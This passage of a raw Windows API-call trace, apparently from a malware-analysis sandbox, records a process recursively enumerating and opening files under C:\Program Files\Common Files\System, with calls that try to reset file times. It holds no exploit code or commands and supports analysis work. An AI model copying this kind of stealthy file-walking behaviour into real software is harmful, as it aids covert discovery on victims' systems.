lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0064.316] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0064.316] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0064.316] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0064.316] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0064.316] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0064.317] GetLastError () returned 0x12 [0064.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0064.317] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0064.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0064.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.317] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0064.317] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0064.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.317] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US" (normalized: "c:\\program files\\common files\\system\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US" (normalized: "c:\\program files\\common files\\system\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0064.317] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0064.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa09738 [0064.317] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa09738, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa09738, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0064.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa09738) returned 1 [0064.317] NtClose (Handle=0x16c) returned 0x0 [0064.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0064.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0064.318] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0064.318] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.318] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0064.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa041a0 [0064.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07100 [0064.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.318] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0064.318] GetLastError () returned 0x12 [0064.318] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0064.318] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0064.318] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.318] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0064.318] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0064.319] GetLastError () returned 0x12 [0064.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0064.319] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0064.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0064.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.319] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0064.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.319] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc" (normalized: "c:\\program files\\common files\\system\\msadc"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.471] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc" (normalized: "c:\\program files\\common files\\system\\msadc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0065.474] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0065.474] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa09738 [0065.476] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa09738, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa09738, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0065.476] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa09738) returned 1 [0065.479] NtClose (Handle=0x170) returned 0x0 [0065.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0065.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0065.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0065.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0065.480] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0065.501] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.501] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0065.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa041c0 [0065.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07188 [0065.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.502] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0065.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa041e0 [0065.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07210 [0065.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.502] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0065.502] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0065.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04200 [0065.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07320 [0065.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.502] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0065.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04220 [0065.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa073a8 [0065.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.503] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0065.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.503] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0065.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.503] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0065.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.504] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0065.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.504] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0065.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.504] RtlFreeHeap 